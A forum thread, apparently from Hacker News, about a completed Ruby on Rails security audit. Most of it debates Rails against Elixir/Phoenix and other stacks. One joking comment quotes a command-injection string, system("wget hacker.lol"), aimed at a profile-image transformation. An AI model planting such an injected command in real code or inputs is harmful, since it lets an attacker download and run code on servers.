Ruby on Rails Audit Complete
114 comments
·June 12, 2025ukprogrammer
kybishop
After programming with elixir and phoenix for a few years (with many prior years of rails experience) I have a hard time seeing why one would choose rails.
Elixir is more performant, has compiler safety guarantees that are only getting better as types are introduced, is actually designed from the ground up for web dev (being based on the Erlang VM), and... it's just way more fun (subjective I know). Elixir is what I always wished Ruby was, and I couldn't be more excited about the coming type inference.
Programming with Elixir makes me feel like Ruby is a previous generation language, much like Ruby made me feel that way about Cobol or Fortran, it really is that stark.
demosthanos
> is actually designed from the ground up for web dev (being based on the Erlang VM)
Nit: this makes it sounds like the BEAM was designed for web dev, which it was not. Erlang came out of Ericsson and was built for telecoms (OTP stands for Open Telecom Platform), which is where its unique set of trade-offs comes from. Many of those trade-offs make a ton of sense for web but that's not because it was designed for web, it's because there's overlap between the fields.
One way to see the difference between telecoms and web is to ask yourself when was the last time that you were working on a project with an availability SLA of 9 nines (1/3 of a second of downtime per year) or even 6 nines (32s per year). Some web dev has that, but most doesn't come close, and if that's not you then Erlang wasn't built for you (though you may still find you like it for other reasons!).
kybishop
Very true it is actually designed for telecoms, but like you mentioned the distinction is so small it's not really even a stretch to say it is purpose built with at least the general architecture of web in mind.
sanswork
I switched fully to elixir close to a decade ago now and library availability is still lagging. For pretty much any company I can be pretty sure there will be JS/Ruby/Python/C#/Java integrations/libraries and occasionally you'll find one for elixir maintained by someone that stopped responding to github issues 3 years ago.
It's definitely better but I can definitely see why you'd still choose rails these days.
kybishop
I agree with this sentiment, though in practice it doesn't seem to be much of an issue the vast majority of the time. Sometimes you do need that niche library though, and end up forking and updating for your needs.
Given how rarely this comes up it feels like a tolerable problem that will only diminish as Elixir adoption continues to increase; I am aware of many rail shops that are slowly and quietly switching everything to Elixir, and it feels like that snowball continues to pick up pace as Elixir improves and those libraries are created.
princevegeta89
I have a very extensive experience with both Ruby on Rails and Elixir/Phoenix. Also ended up building large full-stack apps on either framework.
In the beginning when Ruby on Rails said hello to me, I instantly fell in love with it and the simplicity and the natural semantics that flow with it. It was absurdly easy to write new features and ship them to production. As the codebase grew and the team grew we started running into situations where APIs broke, or to trace the workflow of things in terms of finding where methods came from, finding parent modules of modules, and finding their parents, configuration, and I started to note a general lack of IDE autocomplete and type-safety.
Then after a few years I jumped ship to Elixir and if felt like a breath of clean air when I had to learn FP. Everything was simple enough to understand. Performance knocks Elixir, Node, Python and any other interpreted stack out of the water. The Phoenix framework was, and is said to be thoughtfully designed and although there was no IDE support, we still had Elixir LS which was great enough to provide realtime guidance, linting and type safety during compile time. I was able to ship a very large app into production and it was bulletproof. The problem with Elixir was our other engineers struggled to shift away from Node, or any other stacks they already knew. They found the entire FP world to be weird. Hell, I found it weird too at times. Simple mutations of maps and arrays, that would be trivial in Ruby ended up being so complex in Elixir. In the end it felt like my team was not on the same page. I guess Elixir would be great if you ran a 3-person team or something, but since we were not, we got back to Ruby. In today's world though, I am largely looking at Go, for a backend system. IDE support is up there with Java, and the ecosystem is old and mature enough to find any package that you look for. Performance is C-like and learning curve is lean.
Just my 2c with all these platforms.
LanceH
I was working with Go a lot as something complementary to Ruby/Rails. I have ended up with so much Ruby work. Either maintenance of large successful efforts from years ago, new development for those same companies, or new development from the people who have experienced great success with Ruby on Rails. I can't seem to get away from it, and that's just fine.
At this point, I putting together teams and getting new developers into Ruby on Rails. I'm also seeing companies move back to full stack RoR after the luster of React has worn off. Also, modern RoR can get you so far now with a fraction of the dual framework headaches of a RoR backend/JS frontend.
bhaak
Rails might be 90% better for webdev than the rest while Elixir might be 95% better. Talk about diminishing returns.
Add in problems finding developers skilled in Elixir and Phoenix and the small available libraries.
Of course, you also have that to some degree in Rails but it is much less pronounced.
kybishop
> Add in problems finding developers skilled in Elixir and Phoenix and the small available libraries.
Is this actually a problem you see? I'm going on 15 years in the industry and haven't seen any issues training people up on a new language in just a couple months.
If you need an expert in some library or language to make meaningful business progress I feel like that says more about whatever tool or language you're using, and I simply don't see that with phoenix or elixir in the years I've worked with it.
pdimitar
> Add in problems finding developers skilled in Elixir and Phoenix and the small available libraries.
Since the last 12-15 months, every Elixir job posted gets literal hundreds of applications. Just saying.
Shank
> I have a hard time seeing why one would choose rails
I like Ruby, and I feel it has significantly prettier syntax, to me, than Elixir. So that’s a big reason why I also like rails.
throwawaymaths
It's a matter of taste, but i found Ruby syntax to be annoyingly inconsistent, and do |..| ... end being something that isn't quite a lambda a huge source of confusion.
also activerecord doing "trust me bro" things behind the scenes (like pluralization) drove me up the wall.
to be fair ecto does a small bit of this too, but at least it doesn't change spellings (so you can global search an identifier).
guywithahat
As someone who has used elixir for startups and loves it, the benefit of Rails for a startup is that it's easier to pick up. html/live projects can create more confusing layouts, which can make it harder to learn if you're trying to get something running. Rails is a great framework to use if you're primary product is not a website, but you need a website.
poisonta
Elixir is a great language, but it lacks a framework as polished and full-featured as Rails. Phoenix could have been far more popular if it had something like Active Record.
burnt-resistor
Ecto
bee_rider
Fortran nowadays is fairly ergonomic and modern.
In terms of successors there’s maybe Julia, or otherwise you’d have to use Python or Matlab/Octave, with all that going to a scripting language entails. In any case it doesn’t really feel like there’s been a replacement.
Hnus
Serious question: do people actually enjoy writing Ruby? I feel I’m writing in something like Bash. I never felt this way until I picked up other languages like Rust, Zig, C#, and learned a tiny bit of programming language theory. After that, the loose and squishy feel of Ruby really started to bug me. Also, it seems like every Ruby programmer I know only ever uses other dynamic languages like Python. It’s never like they’re experts in C++ or something and then decided to start programming in Ruby.
vidarh
Yes, love it. Rewritten large parts of my stack in it (editor, shell, font renderer, terminal, window manager, file manager)
I started from a background of heavy C++ use, including a lot of template metaprogramming. Convincing me to even give Ruby a chance took a lot, but once I'd tried it I abandoned C++ pretty much immediately, and don't miss it.
zem
yes, I have used a lot of languages, both static and dynamic, and ruby is one of the ones I love. maintaining large code bases is certainly not its forte, but in terms of expressing what you want in code it is like a tool that fits really well into my hand.
mrinterweb
I had a good background in C++ programming before switching to ruby. At first, I was terrified of the lack of strict typing, but after using it for a while, I realized my concern wasn't that warranted. For me it is about the tradeoff of dealing with types vs productivity. Sure I occasionally get bit by a random "method not defined for nil" error, but it is usually very easy to fix, and I don't run into the issue very often. With ruby, and especially rails, it is about the productivity gains. I can simply accomplish much more in less time and fewer lines of code than I would in other languages/frameworks. Not only am I writing fewer lines of code (usually), the language is very expressive without being overly cryptic. The code is more readable, and to me that results in better maintainability. The strong community and ecosystem emphasis that is put on testing, also leads to more resilient and much more maintainable code.
PapaPalpatine
What an odd question lol. Yes, people like writing in Ruby. I’m one of the. Switched from C# in 2016.
Hnus
You don't miss things like enums, exhaustive switch or any other basic language features? How about `method_missing` its such a crazy idea to me that something like this exists, I know why it exists but I am like why, why such bloat and complexity.
helloguillecl
I love Rails, its been my to-go framework for reference. But I could never get as confortable with Ruby as writing JS or PHP. I do not know the reason.
quest88
I agree. I think..there's too much freedom. Too many ways to do things, and debugging is hard with monkey patching.
maximegarcia
I do. It's a whole thing that get you down to writing your business logic in an expressive way very easily. Framework (Rails) helps, yes, but even pure Ruby can be nice. I've written a second time accuracy simulator for cars and chargers in a EV charging stations in pure Ruby, that was fast to iterate around and pleasant to write.
The ecosystem, toolchain and all do a lot. It is really missed when I do other languages, and I wish to find the same way of developing elsewhere. I currently do C for embedded in an horrible IDE, and I want to bang my head against the table each time I had to click on something on the interface.
(btw Python is a nightmare for me)
the_lonely_time
I spent more of my life that I would like to admit learning and writing Rust. I still build all of my web applications in almost pure Ruby these days. Speed of thought to action is simply unparalleled and it turns out in most situations that was the most important factor.
rubyfan
Yes, many people love programming in Ruby. It’s a matter of preference not some lack of technical merit. There are plenty of people who are well equipped in strongly typed languages that write in both. You might not know them but you really don’t have to look very far.
camcil
What caused the drop in popularity in RoR? It seemed like ~10-12 years ago RoR was the de-facto startup standard. On any given day there were multiple items on the HN front page having something to do with RoR.
vinceguidry
NodeJS and the siren's song of using the same language on the server as the client.
Despite the popularity, node never caught up with rails in terms of features and productivity. I was part of a replatforming from rails to node some 10 years ago. So many things we had to just rewrite because there was no option at the time in node. The team lead that made the decision left half-way through the project. Second worst thing to happen to me in my career, after covid of course.
Spivak
Well and that JS is really fast thanks to V8 and TS has leapfrogged Ruby in terms of developer tooling. Personally I think Ruby is a nicer language and JS has a lot of odd quirks but it became Java. A good natural choice that can be used for any project.
closeparen
Mobile came on scene, which meant you wanted an API, which split web development into backend and frontend. At the same time, the powerful-but-crusty complexities of enterprise Java backend world, which Rails stood in opposition to, started to get more lightweight and fashionable answers in the Go/Kafka/gRPC/microservices scene. While a very convenient overall development experience, it didn't stack up as well when considered in isolation as either a backend or a frontend technology. Much of the Javascript integration it has today (Turbo, etc) came after people had already moved on.
ksec
Performance, scalability or ultimately cost. Remember 10 - 15 years ago when Twitter was using Ruby it was a lot slower. Even without YJIT CRuby today would still be 2 - 3x faster than then. Tooling wasn't as good, Hardware were a lot more expensive at the time. So when you have news spread out about how RoR cant scale cheaply, they jump to newer and shinier things like Node.
I would guess running RoR today is 100x cheaper than 10 years before. And will continue to improve as we get ZJIT or running on top of JRuby.
vidarh
When Twitter was using Rails it was also using a totally broken architecture that was way too centralised. Their replatforming also involved rearchitecting.
timr
> What caused the drop in popularity in RoR? It seemed like ~10-12 years ago RoR was the de-facto startup standard. On any given day there were multiple items on the HN front page having something to do with RoR
New things are "simple", and old things are inevitably complex, which always attracts the new generation of inexperienced coders (I include myself in this). This continues until all of the complexity of the domain are captured in the "new" thing, and the cycle begins again. Rails is vastly more sophisticated than when I started using it in ~2007, when things like CSRF attack mitigation weren't even built in. So it's a better framework now, but you have to understand a lot more to get started.
Also, from ~2012 until recently, bootcamps have been pumping out new programmers who only know Javascript because it was possible to do a full-stack web app with JS, and the bootcamps would rather not teach another language.
mrinterweb
Around that same time, microservice architecture was the new hot. Rails apps tend to be monolithic. Now that many people have realized that microservice architecture is often not worth the complexity costs, monolithic apps are back in fashion, and people are rediscovering how great rails is.
kubectl_h
* Node bringing JS to the backend.
* Python won in data science/analytics and AI/machine learning
* Python also seems to be the high level language used most in academia for non CS engineering (and CS too)
Rails continues to be relatively popular in early stage companies. Plenty of well known companies started with Rails in the last 10+ years and it continues on as part of their stack.
null
AstroBen
the allure of the new and shiny
neya
I was a Rails consultant for about 7 years. Then, I switched to Phoenix - really out of just curiosity. Since then, I've never looked back. If you never believed in "Simple is better" philosophy, you will after using Phoenix. The development time is shorter, the bugs are far less since you catch them at compile time and the development experience is unmatched. Oh, and did I mention performance? You can get insane performance just out of the box.
monooso
I wouldn't describe LiveView as simple, necessarily. It makes for a great demo, but in my experience it complicates simple things in lots of subtle—and occasionally pernicious—ways.
Whilst you can use Phoenix without LiveView, this is becoming increasingly difficult as the Phoenix developers have clearly decided that LiveView is The Way.
maqnius
+1 from me. I already spend more time learning phoenix in my free time than I'd like to admit and I'm stil waiting for the moment it makes 'click'.
It's just so hard sometimes to wrap your head around the abstractions, even though they are shallow + things are changing fast. I feel like my django-ish mental modal of web applications is also getting in the way a lot.
It would probably help, if I could spend more time with less interruptions on it. But I have to say that I expected to get into it a lot quicker since it's praised so much for it's dev experience.
neya
I never mentioned LiveView in my comment, just Phoenix (you can use Phoenix without LiveView). But, in defense of LiveView, I use it in production - however, you will need something to compliment it for sure - I use Svelte 5, which is great. LV has a learning curve, but it makes development so much better once you get the hang of it, tbh. May need some 2-3 projects to get used to it. My $0.02.
nopcode
I keep reading about a shortage of phoenix jobs. Any advice?
IshKebab
Can you tell me why exactly? I've never used Rails but I have tried to understand and modify Gitlab's Ruby code and honestly it was a completely incomprehensible mess. I'm no stranger to large codebases but Gitlab is almost impossible to follow and it seems to be entirely because they use Ruby.
I mean if you look at one file the code seems fairly clean and well written, but if you try and figure out e.g. where a function is called from... well good fucking luck! There's no static typing to help you, and even worse it seems like almost everything is "magically" connected. Like you'll have a function called `foo_bar()` and if you grep for that you get zero results. In the end you'll find that in the `Foo` class there's a list of strings including `BAR` and it constructs the identifier from those.
Absolute nightmare. But people do seem to love Rails... so why?
vidarh
Learn to use a remote debugger, and how to show the method source location.
This may sound snarky, but it's a good faith suggestion. Ruby has all of the tools to make debugging easy, but they're different than what you will expect if you come expecting things to work like in the static typing world.
But as much as I love Ruby, I do agree that Rails has too much unnecessary "magic". Much of which more modern Ruby is a reaction to. Personally I avoid Rails for my Ruby web projects.
nurettin
The entire 2012 scene used Rails. Then they realized it was hard to scale and rewrote everything in Go.
rco8786
> Then they realized it was hard to scale
A rumor perpetuated by exactly one company - Twitter. I know because I was there when it happened and helped dismantle the original monolith.
Rails scales just fine for 99%+ of business cases. If you're doing a sustained 5k writes per second with bursts up to 100k...sure maybe you need something more specialized.
vidarh
Twitter also would've scaled a lot further on Rails just by dismantling the monolith. I don'tike Rails (though I love Ruby), but the way Rails was scapegoated for an original architecture that was not suited for scale irrespective of framework or language was annoying.
jerf
Rails has been around for time to change the calculus on it too. It came out in 2004. The smallest instances you can get today on AWS would have counted as fairly powerful servers back then (with insanely fast CPUs), and by the second or third smallest you're beyond anything available at the time, and there's still room to run after that.
Even the slowest web frameworks running on modern hardware take some quite substantial load before they're a problem. It's good when choosing a framework to consider if you're doing stuff where that might be a problem, but it's also good not to overestimate the performance needs for your site.
byroot
Nah. If anything it's NodeJS that ate Rails' lunch. Around 2013/2014 it took over as the defacto default stack for startup.
mrinterweb
The rails doesn't scale trope is pretty old at this point and has largely been discredited. Don't believe me, take a look at Shopify or Github.
aqme28
It scales just fine. AirBnB, Github, and Shopify use it.
nopcode
It does now, but it took a few years for rails to do what nodejs did when it came out (the live chat demo app).
kloop
That makes perfect sense for people that need to scale. But doesn't explain why newer start ups aren't using it.
Doing things that don't scale is a proven strategy at the beginning, pg even has a post about it
dismalaf
> But doesn't explain why newer start ups aren't using it.
Plenty of newer startups use Rails. At least several pretty much every YC batch. You just need to pay attention.
wiseowise
No static typing would be a good dealbreaker for us.
matt_s
With so many generative AI tools out there, picking more obscure or niche languages is a detractor because the AI models won't have as much depth of training to pull from when you ask it to do things.
Also, technology choices for B2B web apps is rarely going to be a sole factor in determining success or failure of any business. As much as this community likes to compare performance metrics, benchmarks, frameworks and everyone has personal tastes on what is "good", all of those discussions are mostly irrelevant. Picking something the team is comfortable with and has depth of knowledge in is a good practice.
So just pick Rails and move on with solving business problems :)
runjake
I do some Rails work and I’ve found that Ruby and Rails are one of generative AIs weaker languages. I usually get pretty shoddy output[1].
I generally don’t use AI during Rails stuff, other than as a hint for a Google search or a docs lookup.
Are you having a different experience?
1. Shoddy output with Ruby and Rails knowledge. In general, I would consider myself pretty advanced with “prompt engineering”.
matt_s
I'm not expecting perfect output, if there is such a thing. I'm expecting output equivalent to a junior engineer or intern at this point in time. I can tell an agent in the editor I want it to add a many to many join relationship and a multi select field to a form and it does it pretty decently. In some ways this is more automating the tedious tasks which is really what AI's strong suit is right now, in my opinion. Sure I could go move a method around, refactor the 5 classes that call it, etc. but I can delegate that task and its done in a few seconds while I think about the next thing I want to do.
I find if you get too lengthy with tasks or too advanced AI goes off the rails so to speak, sorry for the pun.
azuanrb
Similar experience. Although, recently just tried Claude Code and it seems to be a pretty good upgrade (both Sonnet and Opus). I'd suggest you to give it a try if you haven't. For UI, Playwright MCP helps a lot. And since it can run rspec too, it can get faster feedback.
To me it is better now, but not as good as certain languages. Since that I'm using Go as well, I do notice Claude Code perform better with Go.
ostif-derek
Hey there everyone!
Some friends just notified us that this is trending.
Let me know if you have any questions/comments/feedback about the work! It was a great project, I wish we had more budget so that we could spend some time with ruzzy and the C extensions as there's probably some things to be unearthed there with ASAN and UBSAN.
As for the comments on Spring/Elixir/Django/Phoenix, they're on our wish list every year but we're always limited by funding. It's about what the communities, foundations, and agencies can and will support. We are always working toward getting larger grants where we can work fully independently on whatever we want, but so far that hasn't materialized.
We'll keep trying!
ksec
May be even better to link it to the PDF? [1]. From the Changelog I am also guessing most of these are not fixed in 8.0.2? I wonder if they will come with Rails 8.1 which is still not released.
[1] https://www.x41-dsec.de/static/reports/X41-Rails-Audit-Final...
technion
You really dont want strict same site cookies for the most part. I get that its "more secure" but as soon as someone clicks a link from somewhere else, you open it without being logged in.
hhthrowaway1230
Thats good news! I'm a huge fan or Rails but a little surprised of such little vulnerabilities tbh. Would have expected more for such large codebase. But happy to hear it aint!
maxdamantus
I don't think it's meant to be a complete audit of the codebase, and in fact this is alluded to in the final report [0] (though the wording is strange—perhaps they forgot to update it from an earlier report):
> Due to the size of Ruby on Rails, it will not be possible to cover all the tests and tasks in the following test plan. The tests performed will be covered in the final report along with suggestions on what to focus on in future audits.
I feel like these sorts of audits are usually performed on individual applications rather than "mature" already widely used frameworks. I've got the sense that they are meant to give confidence that the developers knew what they were doing (since they focus on typical vulnerabilities that good developers should know about), rather than proving anything about the code base. Still better than nothing.
[0] Section 3.7, https://ostif.org/wp-content/uploads/2025/06/X41-Rails-Audit...
hhthrowaway1230
Thank you for clearing this up!
Levitating
> Rails application server (e.g., Puma, Unicorn)
I think it's more appropriate to call those Rack application servers, Rack being the Ruby CGI Rails implements.
It's a minor nitpick.
BilalBudhani
I'm glad to see efforts towards improving Ruby on Rails security, it honestly keeps the framework still the most viable choice.
deedubaya
As with all security audits, most findings are a balance between risk and usability.
jensenbox
Is there a place where I can pay to fund a Django audit? I would gladly contribute.
mediumsmart
I settled for the Rails Way using a subset of the defaults. Not disappointed
runjake
Elaborate on your experience?
sgt
Can they please do Django?
immibis
You can pay for one.
Fast, cheap, good - pick two. Seems like a non-profit fund paid probably tens of thousands of dollars for this RoR audit. Can you raise the same amount to audit Django or convince a fund to spend money they already raised? If so, great!
RKFADU_UOFCCLEL
I had no idea people could hack my forum by applying the system("wget hacker.lol") transformation to their profile image. Thanks for the find!
dzonga
and yet people wanna shit at frameworks.!! by choosing something like Rails or another major popular web framework -- you have already mitigated a lot of security vulnerabilities that affect the industry. & no next.js is not a proper web framework. JS doesn't have the equivalent to rails.
The web frameworks we're talking are Rails, Django, Laravel & Spring.
runjake
“Equivalent to Rails” is a nebulous term, but given your examples, I’d offer these as JS equivalents of Rails:
- SvelteKit
- RedwoodJS
- Wasp
There are more options but I think they’d cause more “well, actually” comments than I could bear. :-)
The productivity of Rails for B2B 'CRUD' software is unmatched. Surprised to not see more newer startups make use of it!